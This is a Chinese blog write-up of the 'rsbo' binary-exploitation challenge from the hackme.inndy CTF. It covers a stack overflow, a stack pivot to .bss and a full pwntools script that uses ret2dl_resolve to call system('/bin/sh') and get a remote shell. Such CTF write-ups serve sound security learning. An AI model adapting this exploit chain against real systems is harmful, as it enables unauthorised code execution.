hackme inndy pwn rsbo writeup

原创

charlie_heng 于 2018-01-01 20:36:24 发布 414 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/78947199

因为rsbo和rsbo2是同一题，所以就直接做rsbo2了

首先看看程序

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[80]; // [esp+10h] [ebp-60h]
  int v6; // [esp+60h] [ebp-10h]
  int v7; // [esp+64h] [ebp-Ch]
  int v8; // [esp+68h] [ebp-8h]
  int i; // [esp+6Ch] [ebp-4h]

  init(30);
  v8 = read_80_bytes(buf);
  for ( i = 0; i < v8; ++i )
  {
    v3 = rand();
    v7 = v3 % (i + 1);
    v6 = buf[i];
    buf[i] = buf[v3 % (i + 1)];
    buf[v7] = v6;
  }
  write(1, buf, v8);
  return 0;
}
```


init函数那里用时间和flag生成了一个seed，所以不能预测rand产生的值
然后是读了0x80个byte，这里有一个栈溢出

但是接下来那个for循环就有点棘手了，想了半天想不到，就去看了下别人的wp，发现是送了104个字节的\x00，这里这样做的原因是当修改到v8的值的时候，可以修改为0，这样就跳出for循环了，不会影响后面的rop

有栈溢出了，但是还是有点麻烦，因为只有20个字节留下来可以rop，这样很明显就不能写很长的payload，于是根据提示，把栈转移一下，用16个字节就可以完成栈转移加读取新的rop链

然后在新的rop链处直接return to dl_resolve就可以get到shell了

具体的利用代码如下

```python
from pwn import *
import roputils as rp
import time

#p=process('./rsbo')
p=remote('hackme.inndy.tw',7706)
e=ELF('./rsbo')
context.log_level='debug'

bss=e.bss()+0x800
rop=rp.ROP('./rsbo')
p4ret=0x804879C
pebp=0x804879F

payload='\x00'*108+p32(0x804865C)+p32(pebp)+p32(bss)+p32(0x8048733)  #stack_pivot
p.send(payload)

time.sleep(1)


rop_data='a'*4+rop.call('read',0,bss+180,0x80)+rop.dl_resolve_call(bss+200,bss+180)
rop_data += rop.fill(0x7f,rop_data)
p.sendline(rop_data)

time.sleep(1)
bss_data='/bin/sh\x00'
bss_data += rop.fill(20,bss_data)
bss_data += rop.dl_resolve_data(bss+200,'system')
bss_data += rop.fill(0x80,bss_data)
p.send(bss_data)
p.interactive()
```